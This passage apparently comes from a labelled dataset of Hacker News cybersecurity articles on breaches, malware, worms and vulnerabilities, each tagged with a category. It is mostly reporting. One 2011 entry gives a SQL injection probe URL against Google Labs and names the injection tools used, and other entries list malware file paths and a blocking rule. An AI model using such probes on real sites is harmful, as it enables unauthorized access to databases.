But before accessing the encrypted data, users are required to enter their master password in order to decrypt it, that means users are sending their master keys to Siber System servers and company is decrypting the data on their servers.

The above mechanism is completely opposite and conflicts with the company's policies, which claims that they do not store users' master key on their servers, instead they decrypt the data locally on the users' device.
""The Server has the necessary key required to decrypt the data. Breaking the key into segments does nothing to increase security. Ultimately, it doesn't change the fact that at some point, the private key is no longer private."" Moore justified his claim.
At this moment neither I, nor Moore can proof that the company is saving your master key permanently after you once decrypt your data online via Roboform's web app, but in this age of mass surveillance, where every company is gathering our information and damaging our privacy, it is hardly to trust on any company, like - ""we get it, but we don't store it.""

CONCLUSION
PIN bypass vulnerability is working on all rooted and jailbroken devices, and it poses high risk where an app is developed with an aim to store your sensitive data securely with military grade encryption.

We can't judge the intentions of the company, but the reported privacy loopholes could also allow government and law enforcement agencies to scrape our sensitive data by hook or crook.

The company has promised to re-evaluate the way they store the Master Password on mobile devices and will enforce the user to enter their Master Password after a reboot, even if the user chooses the option to set the Master Password to 'Off'.
""This way, if a phone is lost and a third party tries to access RoboForm either by guessing the PIN or bypassing the PIN function, the third party would still be required to know the Master Password,"" said RoboForm.

",Vulnerability
"Linux worm targeting Routers, Set-top boxes and Security Cameras with PHP-CGI Vulnerability",https://thehackernews.com/2013/11/Linux-ELF-malware-php-cgi-vulnerability.html,"A Symantec researcher has discovered a new Linux worm, targeting machine-to-machine devices, and exploits a PHP vulnerability (CVE-2012-1823) to propagate that has been patched as far back as May 2012.
Linux worm, which has been dubbed Linux.Darlloz, poses a threat to devices such as home routers and set-top boxes, Security Cameras, and even industrial control systems. It is based on proof-of-concept code released in late October and it helps spread malware by exploiting a vulnerability in php-cgi.

""Upon execution, the worm generates IP addresses randomly, accesses a specific path on the machine with well-known ID and passwords, and sends HTTP POST requests, which exploit the vulnerability. If the target is unpatched, it downloads the worm from a malicious server and starts searching for its next target."" the Symantec researchers explained.

The malware does not appear to perform any malicious activity other than silently spreading itself and wiping a load of system files.

So far the malware variant targets x86 systems, because the malicious binary downloaded from the attacker's server is in ELF (Executable and Linkable Format) format for Intel architectures.
However, the Symantec researchers claim the attacker also hosts variants of the worm for other architectures including ARM, PPC, MIPS and MIPSEL.

No attacks have been reported in the wild, but warned that most users would not realize they were at risk as they would be unaware that their own devices ran on Linux.

To protect their devices from the worm, users are advised to update their software to the latest version, make device passwords stronger and block incoming HTTP POST requests to the -/cgi-bin/php* paths.

",Vulnerability
Deloitte Hacked — Cyber Attack Exposes Clients' Emails,https://thehackernews.com/2017/09/deloitte-hack.html,"Another day, another data breach. This time one of the world's ""big four"" accountancy firms has fallen victim to a sophisticated cyber attack.

Global tax and auditing firm Deloitte has confirmed the company had suffered a cyber attack that resulted in the theft of confidential information, including the private emails and documents of some of its clients.

Deloitte is one of the largest private accounting firms in the U.S. which offers tax, auditing, operations consulting, cybersecurity advisory, and merger and acquisition assistance services to large banks, government agencies and large Fortune 500 multinationals, among others.

The global accountancy firm said Monday that its system had been accessed via an email platform from October last year through this past March and that ""very few"" of its clients had been affected, the Guardian reports.

The firm discovered the cyber attack in March, but it believes the unknown attackers may have had access to its email system since October or November 2016.

Hackers managed to gain access to the Deloitte's email server through an administrator account that wasn't secured using two-factor authentication (2FA), granting the attacker unrestricted access to Deloitte's Microsoft-hosted email mailboxes.

Besides emails, hackers also may have had potential access to ""usernames, passwords, IP addresses, architectural diagrams for businesses and health information.""

""In response to a cyber incident, Deloitte implemented its comprehensive security protocol and began an intensive and thorough review including mobilising a team of cybersecurity and confidentiality experts inside and outside of Deloitte,"" a Deloitte spokesperson told the newspaper.

""As part of the review, Deloitte has been in contact with the very few clients impacted and notified governmental authorities and regulators.""

Deloitte's internal investigation into the cyber incident is still ongoing, and the firm has reportedly informed only six of its clients that their information was ""impacted"" by the breach.

Deloitte has become the latest of the victim of the high-profile cyber attack. Just last month, Equifax publicly disclosed a breach of its systems that exposed personal data of as many as 143 million US customers.

Moreover, last week the U.S. Securities and Exchange Commission (SEC) also disclosed that hackers managed to hack its financial document filing system and illegally profited from the stolen information.

",Data_Breaches
Dell Resets All Customers' Passwords After Potential Security Breach,https://thehackernews.com/2018/11/dell-data-breach-hacking.html,"Multinational computer technology company Dell disclosed Wednesday that its online electronics marketplace experienced a ""cybersecurity incident"" earlier this month when an unknown group of hackers infiltrated its internal network.

On November 9, Dell detected and disrupted unauthorized activity on its network attempting to steal customer information, including their names, email addresses and hashed passwords.

According to the company, the initial investigation found no conclusive evidence that the hackers succeeded to extract any information, but as a countermeasure Dell has reset passwords for all accounts on Dell.com website whether the data had been stolen or not.

Dell did not share any information on how hackers managed to infiltrate its network at the first place or how many user accounts were affected, but the company did confirm that payment information and Social Security numbers were not targeted.

""Credit card and other sensitive customer information were not targeted. The incident did not impact any Dell products or services,"" Dell says.

You are affected if you have ever created an account on the Dell website to purchase any of their products or to access the online support.
""Upon detection of the attempted extraction, Dell immediately implemented countermeasures and initiated an investigation. Dell also retained a digital forensics firm to conduct an independent investigation and has engaged law enforcement,"" the company said.
We will update this story as more information becomes available.
",Cyber_Attack
FBI cracks International Bot Network !,https://thehackernews.com/2011/04/fbi-cracks-international-bot-network.html,"FBI cracks International Bot Network !

The Department of Justice and FBI declared that it has cracked a network of hackers, who have infected almost 2 million computers with a harmful ""bot"" program, Coreflood that steals private and monetary data from computers.

Identified as a ""bot"" network- as the malware can be managed distantly like a robot- it compromises machines with a software program called Coreflood, which downloads itself by finding out the vulnerability in systems, that are running Windows operating systems.

The legal actions are the key components of the ""most complete and inclusive enforcement action ever taken by the U.S. authorities to put out of action an international botnet"", as per the statement from the Department of Justice, reports cnet News on April 13, 2011.

As per a request from a temporary restraining order that was granted, it's the first time USA law enforcement has taken consent from a court for controlling a botnet.

This malware (Coreflood) stores keystrokes and personal communications, making it enable to compromise login details, like passwords, and other personal and monetary data. Once a system is compromised with Coreflood, the malware contacts a command-and-control server, allowing it to distantly control the compromised machine.

The government replaced the unauthentic command and control servers with substitute servers to prevent Coreflood from being used for any more harmful activity.

U.S. Attorney David B. Fein for the District of Connecticut stated that the seizure of the Coreflood servers and Internet domain names can stop hackers from using Coreflood or systems infected by Coreflood for their evil purpose. He stated that he wished that his industry partners to work in cognition with the law enforcement in order to attain this great result, as per the news by CRN on April 13, 2011.

But, it is impossible to know exactly the number of victims claimed by Coreflood, as machines are continuously being infected, disinfected and sometimes reinfected. While investigators estimated 413, 710 infected machines from March 2009 to January 2010, the total number of machines those were, or had been, part of Coreflood is more than 2.3 million, with almost 1.8 million seems to be located in the USA.

",Malware
191 Million US Voters' Personal Info Exposed by Misconfigured Database,https://thehackernews.com/2015/12/us-voter-database-hacked.html,"BREAKING: A misconfigured database has resulted in the exposure of around 191 Million voter records including voters' full names, their home addresses, unique voter IDs, date of births and phone numbers.

The database was discovered on December 20th by Chris Vickery, a white hat hacker, who was able to access over 191 Million Americans' personal identifying information (PII) that are just sitting in the public to be found by anyone looking for it.

Vickery is the same security researcher who uncovered personal details of 13 Million MacKeeper users two weeks ago, which included names, email addresses, usernames, password hashes, IP addresses, phone numbers, and system information.

However, the recent discovery made him shocked when he saw his own information in the database, according to DataBreaches.net, whom the researcher contacted and provided all the details about his finding.

300GB Trove of Voters' Information Leaked

Vickery has his hands on all 300GB of database contains a long list of voter records including:
Full name (first, middle, last)
Residential address
Mailing address
A unique voter ID
State voter ID
Gender
Date of birth
Date of registration
Phone number
Political affiliation
A detailed voting history since 2000
Fields for voter prediction scores
Not just his own, but Vickery also looked up a number of police officers in his city and confirmed the information was all correct. Reporters from CSO and DataBreaches.net also did the same and upheld the accuracy as well.

Fortunately, the database doesn't contain Social Security Numbers, driver license numbers, or any financial data, but it's still a massive amount of data when it comes to protecting users privacy and security.

What's even more Shocking?

The crazy part of the data breach is no one is taking responsibility for the exposed database.

Vickery, CSO and DataBreaches.net contacted various political tech groups and known voter information companies, but all denied the database belonged to them.

The FBI and Internet Crime Complaint Center were all approached by Vickery and DataBreaches.net; so let's now see how long this information remains alive and accessible for anyone to see.

",Data_Breaches
U.S Emergency broadcast System vulnerable to hackers,https://thehackernews.com/2013/07/us-emergency-broadcast-system.html,"A major vulnerability has been discovered in the U.S. Emergency Alert System, researchers have warned.that could allow hackers to break into the system and broadcast fake messages to the United States.
According to a new report by security firm IOActive, U.S. Emergency Alert System, the system used to broadcast to the United States in times of national crisis can be hacked remotely by hackers.

Recent firmware update of DASDEC-I and DASDEC-II application servers disseminated the secure shell (SSH) keys, that allows anyone with limited knowledge to log in at the root level of the server. Technically, compromising the DASDEC systems doesn't sound too difficult. In that scenario, an attacker could take over the system and issue emergency messages.

Monroe Electronics was notified about vulnerabilities in its equipment in January and the company's internal development team developed a software update that was made available in March.

The Emergency Alert System devices are installed at large and small broadcasters. The EAS is designed to enable to the President of the United States to speak to US citizens within 10 minutes of a major disaster occurring.

These alerts were passed among stations using wire services, which connected to television and radio stations around the U.S. When a station received an official notification, it would disrupt the current broadcast to deliver the message to the public.

",Vulnerability
Apple Kicks Out some Malicious Ad-Blocker Apps from its Online Store,https://thehackernews.com/2015/10/apple-security-hacked.html,"Apple has removed several apps from its official iOS App Store that have the ability to compromise encrypted connections between the servers and the end-users.

Apple has officially said:
We have removed a ""few"" apps from the iOS App Store that could install root certificates and allow monitoring your data.
It's like- they have analyzed and admitted that they lacked in the auditing of the App Store hosted Apps.

The company is also advising its users to uninstall the malicious apps from their iPhones, iPads and iPods in order to prevent themselves from monitoring, though it has yet to name the offending apps.

App Store Apps Spy on Encrypted Traffic

The challenge that stood before Apple was, they discovered that ""few"" of the Apps in the iOS App Store were capable of spying on the users by compromising SSL/TLS security solutions of their online communication.

Root certificates are the fundamental part of how encrypted connections like HTTPS verify the site users are connecting to and creating a secure environment for them to get access to various resources. Their updates also happen on a timely basis.

Root certificates allow public key encryption to browsers and other services to validate certain types of encryption and ensure that user is redirected to that website or server that he requested.

However, in Apple's case, the fraudulent apps were acting as an interface between the secure connections and exposing all private Internet traffic of the user.

However, to get rid of the problem, Apple has removed various apps from their App Store that could decrypt the ""Encrypted Connection"" between the user and the server to which the user is connected to.

Apple Yet to Disclose the names of Offending App

Apple did not disclose the names of such Apps, instead said that there are few of them with bitter intents and for which, they left the users displeased, as:

They want the users to uninstall the Apps, but which ones to remove they are least bothered.

Also, they have given directions for ""How to delete an app that has a configuration profile on your iPhone, iPad, or iPod touch,"" on their support page, but…

...Does that make any difference?

As how are the people going to identify which Apps to uninstall!

Furthermore, in a similar incident developer of an app commonly known as Been Choice was removed from the iOS store, consequently the developer posted on Twitter about they being 'Pulled Off' from iOS store and mentioned that:
""We'll remove ad blocking for FB, Google, Yahoo, and Pinterest apps.""
Therefore, it can be assumed that Been Choice's, Ad-blocker app which functioned in such a way that it installs root certificates in order to block ads inside apps, might be gathering private details of the user through ad blocking facility via installing root certificates.

One thing is important to note here, which is- Apple allowed such Apps that were installing Root certificates on the users' device.

Meanwhile, all the iPhone, iPad and iPod touch device holders are requested to uninstall any suspicious app from there device; until Apple reveals the names of those apps.

",Vulnerability
Millions of Passwords leaked from Social Site Formspring,https://thehackernews.com/2012/07/28-million-passwords-leaked-from-social.html,"Formspring, a social Q&A website popular with teenagers,this week disabled its users' passwords after discovering a security breach. Formspring founder and CEO Ade Olonoh apologized to users for the inconvenience, and advised them to change their passwords when they log back into Formspring.

A blog entry posted by Formspring's CEO and founder Ade Olonoh explains that the passwords of all 28 million users have been disabled and the company was notified that 420,000 password hashes that seem to belong to its users have been posted to a security forum, and immediately began an internal investigation.

Usernames and other identifying information were not posted with the passwords, but Formspring found that someone had broken into one of its development servers and stolen data from a production database.
Encrypted passwords aren't immediately useable, although they can sometimes be decoded by a savvy attacker.

Formspring launched in 2009 as a crowd-powered question-and-answer site. Last month, the company announced a major revamp intended to shift the site's focus toward users' interests.

The company is now reviewing its security practices to ensure that a repeat of the incident does not occur.The algorithm used to hash passwords at the time of the leak was SHA-256 and the company was vigilant enough to use random salts. After this attack, however, it has updated its security stance to use bcrypt.

",Vulnerability
Nemesis Bootkit — A New Stealthy Payment Card Malware,https://thehackernews.com/2015/12/nemesis-banking-malware.html,"Another day, another stunning Malware – this time targeting banks, payment card processors, and other financial services.

Security researchers have uncovered a sophisticated payment card malware that executes before the operating system boots, making the malware very difficult to detect and much less remove.

The malware in question is part of ""Nemesis"" – a malware suite that includes all software programs for capturing screens, transferring files, injecting processes, logging keystrokes, and carrying out other malicious activities on the infected computers.

Nemesis malware family has been seen in the past, targeting banks, ATMs, financial transaction processing, credit unions, and financial business service companies.

Nemesis Bootkit Malware – Reappears even after Re-installation of the OS

The malware with bootkit functionality has been in operation since early this year and has the ability to modify the legitimate VBR (Volume Boot Record) that makes the malware possible to load before Windows starts.
This makes the malicious threat hard to detect and remove using traditional security approaches.
Moreover, the malware resides in a low-level portion of a hard drive.
This makes the malware infection reappears even after the complete reinstallation of the Windows operating system.
""The malware that persists outside of the operating system (OS) requires a different approach to detection and eradication,"" security analysts from FireEye wrote in a blog post published Monday.
""Malware with bootkit functionality can be installed and executed almost entirely independent of the Windows [OS]. As a result, incident responders will need tools that can access and search raw disks at scale for evidence of bootkits.""

How Does the Malware Work?

Early this year, the cyber criminals tweaked Nemesis to include a utility called BOOTRASH that has the ability to modify an infected computer's boot process.

In a normal boot, any Windows PC reads data from a hard drive's MBR (Master Boot Record) that loads the VBR – a piece of code specific to an operating system containing instructions for the OS to begin the boot process.

The process typically looks like this:
The VBR then normally loads the operating system code, but BOOTRASH loads:
First, the malicious code that injects the Nemesis components stored in the virtual file system into the Windows kernel
Then the Operating System code
Since BOOTRASH is loaded outside of the machine's OS, it is not subject to any kind of integrity checks, nor are any of its components scanned by system's Anti-Virus program, which helps the malware evade detection.

According to the researchers, versions of BOOTRASH are targeting both 32-bit and 64-bit Windows architectures. Moreover, due to this newly added Bootkit component, reinstalling the OS will not remove the Nemesis malware.

Hackers behind Nemesis Malware

FireEye researchers believe the Nemesis bootkit malware belongs to a financial crime group of hackers, likely based in Russia, called FIN1.
""We identified the presence of a financially motivated threat group that we track as FIN1, whose activity at the organization dated back several years,"" FireEye researcher wrote. ""The threat group deployed numerous malicious files and utilities, all of which were part of a malware ecosystem referred to as 'Nemesis' by the malware developer(s).""
The researchers believe that the FIN1 hacking group used this malware, most of the times, to access victims environment and steal cardholders data. In the past, the researchers came across different versions of the Nemesis family when they analyzed FIN1's malware.

How to Protect Your Systems From Nemesis Bootkit Malware?

Re-installing the operating system of your Windows machine is not a sufficient method to get rid of this malware.

The solution against this malware threat is to use software tools that can access and scan raw disks at scale for evidence of Bootkits, or physically wipe the disks before reinstalling the operating system.
""System administrators should perform a complete physical wipe of any systems compromised with a bootkit and then reload the operating system,"" FireEye researchers recommend.
Nemesis is by no means the first malware family to hijack normal boot process of a PC in an effort to gain persistence and stealth, but it is not the first malware family that contains bootkit functionality.

In the past, researchers detected malicious threats such as TDL4 (Olmarik), Rovnix, Necurs, and Carberp. Among these, Carberp banking trojan targeted financial institutions.

",Malware
Any Indian DigiLocker Account Could've Been Accessed Without Password,https://thehackernews.com/2020/06/aadhar-digilocker-hacked.html,"The Indian Government said it has addressed a critical vulnerability in its secure document wallet service Digilocker that could have potentially let a remote attacker bypass mobile one-time passwords (OTP) and sign in as other users.

Discovered separately by two independent bug bounty researchers, Mohesh Mohan and Ashish Gahlot, the vulnerability could have been exploited easily to unauthorisedly access sensitive documents uploaded by targeted users' on the Government-operated platform.

""The OTP function lacks authorization which makes it possible to perform OTP validation with submitting any valid users details and then manipulation flow to sign in as a totally different user,"" Mohesh Mohan said in a disclosure shared with The Hacker News.

With over 38 million registered users, Digilocker is a cloud-based repository that acts as a digital platform to facilitate online processing of documents and speedier delivery of various government-to-citizen services. It's linked to a user's mobile number and Aadhar ID—a unique identity number (UID) issued to every resident of India.


According to Mohan, all an attacker needs to know is either victim's Aadhaar ID or linked mobile number or username to unauthorizedly access a targeted Digilocker account, prompting the service to send an OTP and subsequently exploiting the flaw to bypass the sign-in process.

It's worth noting that the mobile app version of Digilocker also comes with a 4-digit PIN for an added layer of security. But the researchers said it was possible to modify the API calls to authenticate the PIN by associating the PIN to another user (identified with a version-5 UUID) and successfully login in as the victim.

This means ""you can do the SMS OTP [verification] as one user and submit the pin of a second user, and finally, you will end up logging as the second user,"" Mohan said.

What's more, the lack of authorization for the API endpoint used to set the secret PIN effectively implies the API can be exploited to reset the PIN linked to a random user using the individual's UUID.

""There is no session-related information on the POST request, so it's not bound to any user,"" Mohan added.


In addition to the issues mentioned above, the API calls from mobile apps were secured by basic authentication that can be circumvented by removing a header flag ""is_encrypted: 1."" The application was also found to implement a weak SSL pinning mechanism, making them vulnerable to a bypass using tools like Frida.

After the flaw was reported to CERT-In on May 10 by Mohan and to DigiLocker on 16th May by Ashish, the cyber agency said the issue was fixed on May 28.

""The nature of the vulnerability was such that an individual's DigiLocker account could potentially get compromised if the attacker knew the username for that particular account,"" Digilocker said in a tweet last week acknowledging the flaw. ""It was not a vulnerability that could let anyone get access to [the] DigiLocker account of anyone whose username and other details were not known.""

""Upon analysis, it was discovered that this vulnerability had crept in the code when some new features were added recently. The vulnerability was patched on a priority basis by the technical team within a day of getting the alert from CERT-In. This was not an attack on infrastructure, and no data, database, storage, or encryption was compromised,"" the team added.

",Vulnerability
Sabpab - Another Mac os Backdoor Trojan Discovered,https://thehackernews.com/2012/04/sabpab-another-mac-os-backdoor-trojan.html,"Sabpab - Another Mac os Backdoor Trojan Discovered

Security firm Sophos has discovered more malware for the Mac OS X platform called Sabpab. It uses the same Java vulnerability as Flashback to install itself as a ""drive-by download."" Users of older versions of Java now have still more malware to worry about.

It also doesn't require any user interaction to infect a system either just like Flashback all that needs to happen is for you to visit an infected webpage. Sabpab, according to Sophos, installs a backdoor that allows the hackers to capture screen snapshots, upload or download files and execute commands on infected Macs remotely.

The Trojan creates the files
/Users//Library/Preferences/com.apple.PubSabAgent.pfile
/Users//Library/LaunchAgents/com.apple.PubSabAGent.plist

Encrypted logs are sent back to the control server, so the hackers can monitor activity. Although one variant of Flashback installed a file in the LaunchAgents folder, not all tools for detecting Flashback do anything with that folder.

Symantec identifies the trojan as OSX.Sabpab which exploits the Oracle Java SE Remote Java Runtime Environment Denial Of Service Vulnerability (BID 52161) in order to install itself on to the compromised computer.

Sophos products, including free Mac anti-virus for home users, detect the Trojan horse as OSX/Sabpab-A.

",Malware
New 0-Day Flaw Affecting Most Android Phones Being Exploited in the Wild,https://thehackernews.com/2019/10/android-kernel-vulnerability.html,"Another day, another revelation of a critical unpatched zero-day vulnerability, this time in the world's most widely used mobile operating system, Android.

What's more? The Android zero-day vulnerability has also been found to be exploited in the wild by the Israeli surveillance vendor NSO Group—infamous for selling zero-day exploits to governments—or one of its customers, to gain control of their targets' Android devices.

Discovered by Project Zero researcher Maddie Stone, the details and a proof-of-concept exploit for the high-severity security vulnerability, tracked as CVE-2019-2215, has been made public today—just seven days after reporting it to the Android security team.

The zero-day is a use-after-free vulnerability in the Android kernel's binder driver that can allow a local privileged attacker or an app to escalate their privileges to gain root access to a vulnerable device and potentially take full remote control of the device.

Vulnerable Android Devices

The vulnerability resides in versions of Android kernel released before April last year, a patch for which was included in the 4.14 LTS Linux kernel released in December 2017 but was only incorporated in AOSP Android kernel versions 3.18, 4.4 and 4.9.

Therefore, most Android devices manufactured and sold by a majority of vendors with the unpatched kernel are still vulnerable to this vulnerability even after having the latest Android updates, including below-listed popular smartphone models :

Pixel 1
Pixel 1 XL
Pixel 2
Pixel 2 XL
Huawei P20
Xiaomi Redmi 5A
Xiaomi Redmi Note 5
Xiaomi A1
Oppo A3
Moto Z3
Oreo LG phones
Samsung S7
Samsung S8
Samsung S9

To be noted, Pixel 3, 3 XL, and 3a devices running the latest Android kernels are not vulnerable to the issue.

Android Flaw Can Be Exploited Remotely

According to the researcher, since the issue is ""accessible from inside the Chrome sandbox,"" the Android kernel zero-day vulnerability can also be exploited remotely by combining it with a separate Chrome rendering flaw.

""The bug is a local privilege escalation vulnerability that allows for a full compromise of a vulnerable device. If the exploit is delivered via the Web, it only needs to be paired with a renderer exploit, as this vulnerability is accessible through the sandbox,"" Stone says in the Chromium blog.

""I've attached a local exploit proof-of-concept to demonstrate how this bug can be used to gain arbitrary kernel read/write when running locally. It only requires the untrusted app code execution to exploit CVE-2019-2215. I've also attached a screenshot (success.png) of the POC running on a Pixel 2, running Android 10 with security patch level September 2019.""

Patches to be Made Available Soon

Though Google will release a patch for this vulnerability in its October's Android Security Bulletin in the coming days and also notified OEMs, most affected devices would not likely receive the patch immediately, unlike Google Pixel 1 and 2.



""This issue is rated as High severity on Android and by itself requires installation of a malicious application for potential exploitation. Any other vectors, such as via web browser, require chaining with an additional exploit,"" the Android security team said in a statement.

""We have notified Android partners, and the patch is available on the Android Common Kernel. Pixel 3 and 3a devices are not vulnerable while Pixel 1 and 2 devices will be receiving updates for this issue as part of the October update.""

Google's Project Zero division usually gives software developers a 90-day deadline to fix the issue in their affected products before going public with the details and PoC exploits, but in case of active exploits, the team goes public after seven days of privately being reported.

What's your take? Although this vulnerability is severe and can be used to gain root access to an Android device, users need not worry that much as the exploitation of such issues is mostly limited to targeted attack scenarios.

Nevertheless, it's always a good idea to avoid downloading and installing apps from third-party app stores and any unnecessary apps, even from the Google Play Store.
",Vulnerability
Hackers Exploit Accellion Zero-Days in Recent Data Theft and Extortion Attacks,https://thehackernews.com/2021/02/hackers-exploit-accellion-zero-days-in.html,"Cybersecurity researchers on Monday tied a string of attacks targeting Accellion File Transfer Appliance (FTA) servers over the past two months to data theft and extortion campaign orchestrated by a cybercrime group called UNC2546.
The attacks, which began in mid-December 2020, involved exploiting multiple zero-day vulnerabilities in the legacy FTA software to install a new web shell named DEWMODE on victim networks and exfiltrating sensitive data, which was then published on a data leak website operated by the CLOP ransomware gang.
But in a twist, no ransomware was actually deployed in any of the recent incidents that hit organizations in the U.S., Singapore, Canada, and the Netherlands, with the actors instead resorting to extortion emails to threaten victims into paying bitcoin ransoms.
According to Risky Business, some of the companies that have had their data listed on the site include Singapore's telecom provider SingTel, the American Bureau of Shipping, law firm Jones Day, the Netherlands-based Fugro, and life sciences company Danaher.
Following the slew of attacks, Accellion has patched four FTA vulnerabilities that were known to be exploited by the threat actors, in addition to incorporating new monitoring and alerting capabilities to flag any suspicious behavior. The flaws are as follows -
CVE-2021-27101 - SQL injection via a crafted Host header
CVE-2021-27102 - OS command execution via a local web service call
CVE-2021-27103 - SSRF via a crafted POST request
CVE-2021-27104 - OS command execution via a crafted POST request
FireEye's Mandiant threat intelligence team, which is leading the incident response efforts, is tracking the follow-on extortion scheme under a separate threat cluster it calls UNC2582 despite ""compelling"" overlaps identified between the two sets of malicious activities and previous attacks carried out by a financially motivated hacking group dubbed FIN11.
""Many of the organizations compromised by UNC2546 were previously targeted by FIN11,"" FireEye said. ""Some UNC2582 extortion emails observed in January 2021 were sent from IP addresses and/or email accounts used by FIN11 in multiple phishing campaigns between August and December 2020.""
Once installed, the DEWMODE web shell was leveraged to download files from compromised FTA instances, leading to the victims receiving extortion emails claiming to be from the ""CLOP ransomware team"" several weeks later.
Lack of reply in a timely manner would result in additional emails sent to a wider group of recipients in the victim organization as well as its partners containing links to the stolen data, the researchers detailed.
Besides urging its FTA customers to migrate to kiteworks, Accellion said fewer than 100 out of 300 total FTA clients were victims of the attack and that less than 25 appear to have suffered ""significant"" data theft.
The development comes after grocery chain Kroger disclosed last week that HR data, pharmacy records, and money services records belonging to some customers might have been compromised as a result of the Accellion incident.
Then earlier today, Transport for New South Wales (TfNSW) became the latest entity to confirm that it had been impacted by the worldwide Accellion data breach.
""The Accellion system was widely used to share and store files by organisations around the world, including Transport for NSW,"" the Australian agency said. ""Before the attack on Accellion servers was interrupted, some Transport for NSW information was taken.""

",Cyber_Attack
SQL Injection Vulnerability in Google Lab Database System,https://thehackernews.com/2011/06/sql-injection-vulnerability-in-google.html,"SQL Injection Vulnerability in Google Lab Database System

Very Big & Critical Vulnerability detected in Google Lab System. Vendor is already reported by hackers, But they don't take positive step in this case, so finally hackers exposed the vulnerability in public by Bangladesh Cyber Army Admin - Shadman Tanjim on their Forum.

Google Lab Website has SQL Injection Vulnerability and Dangerous thing is this Vulnerability is Exploitable. Hackers are able to get Tables, columns and data from Database. Google Lab Database has his own customize DB system. But Interesting things is their database system is Similar as Ms Access database. In this case Ms Access SQL Injection System is Also Work on Google Lab Database system.

Statement By Hacker :

I already contact with Google Corporation but they don't give positive response, I think this is their big fault, and will suffer for that. But if they give Positive response then this will be very good for them. Thanks a Ton!!!
Shadman Tanjim
Ethical Hacker, Programmer and Security Professional
Email: admin@bdcyberarmy.com or shadman2600@gmail.com
Website: www.bdcyberarmy.com/forum
Greets to: Shahee Mirza, Almas Zaman, Sayem Islam, Pudina pata, LuckyFm and All
Bangladesh Cyber Army Members.


Video Download link:
https://www.bdcyberarmy.com/Google/google_video.avi

Hackers Release Step by step proof about this Vulnerability
1. Website : www.googlelabs.com or labs.google.com

2. Vulnerability type : SQL Injection
3. Vulnerable url : https://www.googlelabs.com/?q=%27&apps=Search+Labs
4. Info:
Host IP: 209.85.175.141
Web Server: Google Frontend
Keyword Found: Fast
Injection type is Integer

Let's Check Exploiting this Vulnerable link. Here Hackers use 3 Famous SQL Injection tools. They are:
1. Havij Advance SQL Injection Tool
2. Safe3 SQL Injector v8.4
3. Pangolin SQL Injection Tool

1st Work with Havij Advance SQL Injection Tool:
Screen Shot 1: Scan Vulnerable link and it says this website is Vulnerable.

Screen Shot 2: Now it scans and gets all tables and columns

Screen Shot 3: Now you can see list of tables and Columns

And this is a Prove for this Website is Genuine SQL Injection Vulnerable. Here you see this database type is MS Access, so this is a Proof of this concept. Some people should Say Google Lab Database System is not Ms Access but this Website Database is Similar as Ms Access database and Ms Access SQL Injection Query are also Work on Google Labs Database system. As like MySQL 5 and MySQL 4.1 both are injected via Union select, but both are not have Information Schema.

2nd now Work with Safe3 SQL Injector v8.4:
Screen Shot 1: Analyzing Vulnerable link and it says it's vulnerable and gets keyword and db type.

Screen Shot 2: Now it's Inject the vulnerable link and gets All Table list and column list

This is another Prove for this Website Vulnerability and we can see this and Dangerous thing is its Exploitable. Now we check our last SQL Injection tool for 100% Satisfy.

3rd Pangolin SQL Injection Tool:
Screen Shot 1: Scan vulnerable link and its say this website is vulnerable

Screen Shot 2: Now inject this Website and get tables and columns list

Screen Shot 3: Here is a full List of Tables and Columns list

Now I think we are 100% Sure Google Lab Website is SQL Injection Vulnerable.

You Can Check Video. This Video is also made by Bangladesh Cyber Army Member - Shadman Tanjim.

UPDATE :
Google insist that there has been no intrusion. The company claims that their GQL database won't allow SQL injection attacks. Additionally, they say that the data that appears in the screen shots, does not exist anywhere in their data stores.


On this Shadman Tanjim - Hackers Reply to Google ""Proof it. because I am Also Proof it's Vulnerable. If they say's Google Lab is Not Vulnerable, It Means We get new Bugs in Some Famous SQL Injection tools. And also and 1=1 concept. So tell them to proof this and I don't think All tools are false. because 1 tools can false, 2 tools can get false but not All. ALL Tools say's it is Vulnerable, So i don't think it any confusion. :D ""

",Vulnerability
T-Mobile Hacked — 2 Million Customers' Personal Data Stolen,https://thehackernews.com/2018/08/t-mobile-hack-breach.html,"T-Mobile today confirmed that the telecom giant suffered a security breach on its US servers on August 20 that may have resulted in the leak of ""some"" personal information of up to 2 million T-Mobile customers.

The leaked information includes customers' name, billing zip code, phone number, email address, account number, and account type (prepaid or postpaid).

However, the good news is that no financial information like credit card numbers, social security numbers, or passwords, were compromised in the security breach.

According to a brief blog post published by the company detailing the incident, its cybersecurity team detected and shut down an ""unauthorized capture of some information"" on Monday, August 20.

Although the company has not revealed how the hackers managed to hack into its servers neither it disclosed the exact number of customers affected by the data breach, a T-Mobile spokesperson told Motherboard that less than 3 percent of its 77 million customers were affected.

The spokesperson also said that unknown hackers part of ""an international group"" managed to access T-Mobile servers through an API that ""didn't contain any financial data or other very sensitive data,"" adding ""We found it quickly and shut it down very fast.""

T-Mobile said the company informed law enforcement about the security breach and is reaching out to its affected customers directly via SMS message, letter in the mail, or a phone call to notify them as well.
""We take the security of your information very seriously and have a number of safeguards in place to protect your personal information from unauthorized access,"" T-Mobile said. ""We truly regret that this incident occurred and are so sorry for any inconvenience this has caused you.""

The U.S. telecom giant is also encouraging affected customers to contact its customer service through 611 for any information regarding the breach.

The T-Mobile incident marks the latest high-profile data breach and adds itself to the list of that other recent high profile attacks took place against Carphone Warehouse that affected its 10 million customers, and Ticketmaster that affected tens of thousands of its customers.

Did you receive any notification regarding this data breach? Let us know in the comments below.
",Cyber_Attack
Google Patches 6 Critical Android Mediaserver Bugs in May Security Update,https://thehackernews.com/2017/05/android-security-update.html,"In Brief
Google has released its monthly security patches for Android this week, addressing 17 critical vulnerabilities, 6 of which affect Android Mediaserver component that could be used to execute malicious code remotely.

Besides patches for Mediaserver, Google also fixed 4 critical vulnerabilities related to Qualcomm components discovered in Android handsets, including Google's Nexus 6P, Pixel XL, and Nexus 9 devices.

According to the Google security bulletin for Android published Monday, this month's security update is one of the largest security fixes the company ever compiled in a single month.

Google has split Android's monthly security bulletin into security ""patch levels"":
Partial security patch level (2017-05-01) covers patches for vulnerabilities that are common to all Android devices.
Complete security patch level (2017-05-05) includes additional fixes for hardware drivers as well as kernel components that are present only in some devices.


Critical RCE Flaw in Android Mediaserver

The most severe vulnerability exists in Mediaserver – an Android component that handles the processing of image and video files and has been a source of many issues over the past few years, including the critical Stagefright vulnerabilities.

According to the search engine giant, the Mediaserver vulnerability ""could enable remote code execution on an affected device through multiple methods such as email, web browsing, and MMS when processing media files.""

In other words, attackers could exploit the Mediaserver vulnerability by tricking users into downloading a specially crafted multimedia file on their devices, or sharing the media file via email or other messaging apps and remotely execute arbitrary code.

